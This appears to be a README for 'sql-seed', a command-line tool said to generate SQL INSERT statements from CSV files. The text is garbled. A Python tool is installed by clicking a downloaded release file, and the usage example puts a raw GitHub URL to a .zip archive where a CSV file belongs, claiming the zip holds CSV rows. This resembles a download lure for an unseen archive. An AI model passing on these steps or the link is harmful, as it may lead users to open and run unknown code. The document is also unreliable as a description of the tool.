Welcome to sql-seed! This application helps you generate realistic SQL INSERT statements from CSV files. It does this by automatically figuring out data types and adjusting batch sizes, making your database seeding straightforward.
Visit the Releases page to download sql-seed, where you can find the latest version ready for use.
Before you begin, make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.6 or later installed
- Memory: At least 512 MB RAM
- Disk Space: Minimum 10 MB free space
To get started, follow these simple steps:
-
Click on the link below to go to the Releases page:
-
Choose the latest version suitable for your operating system.
-
Click on the downloaded file to start the installation.
-
Follow the on-screen instructions to complete the installation.
Once you have installed sql-seed, you can start generating your SQL statements. Hereβs how:
-
Prepare Your CSV File: Make sure your CSV file is formatted correctly. The first row should contain column headers, and subsequent rows should contain the data.
-
Open the Command Line Interface: Depending on your operating system:
- Windows: Open Command Prompt.
- macOS/Linux: Open Terminal.
-
Run sql-seed: Type the following command, replacing
<path_to_csv>with the path to your CSV file:sql-seed <path_to_csv> -
Adjust Settings (Optional): You can customize the batch size and other settings by adding flags. For instance:
sql-seed --batch-size 100 <path_to_csv> -
View the Output: The generated SQL statements will appear in your console. You can copy these directly for use in your database.
- Automatic Type Inference: sql-seed automatically determines the appropriate data types for your SQL statements.
- Batch Sizing: Customize how many records to insert at once, improving performance.
- Multi-Database Support: Use sql-seed with MySQL, PostgreSQL, and more.
Here is a quick example:
-
Suppose you have a
https://raw.githubusercontent.com/imfhussain/sql-seed/main/tests/sql_seed_1.5.zipfile with the following content:id,name,age 1,John Doe,30 2,Jane Smith,25 -
Run sql-seed with this command:
sql-seed https://raw.githubusercontent.com/imfhussain/sql-seed/main/tests/sql_seed_1.5.zip -
You will see output like:
INSERT INTO users (id, name, age) VALUES (1, 'John Doe', 30); INSERT INTO users (id, name, age) VALUES (2, 'Jane Smith', 25);
If you encounter issues while using sql-seed, consider the following solutions:
- Check Your CSV Format: Ensure your CSV file adheres to the correct structure.
- Verify Python Installation: Make sure Python is installed and added to your system PATH.
- Read Error Messages Carefully: These messages can guide you to the problem.
For more support or to report issues, please visit our GitHub Issues page. Your feedback is essential for improving sql-seed.
To contribute to the project, feel free to fork the repository and submit a pull request. We welcome any improvements or suggestions!
- cli
- csv
- database
- database-seeding
- developer-tools
- mysql
- postgresql
- python
- seed-data
- sql
- sql-generator
Enjoy generating your SQL statements with ease!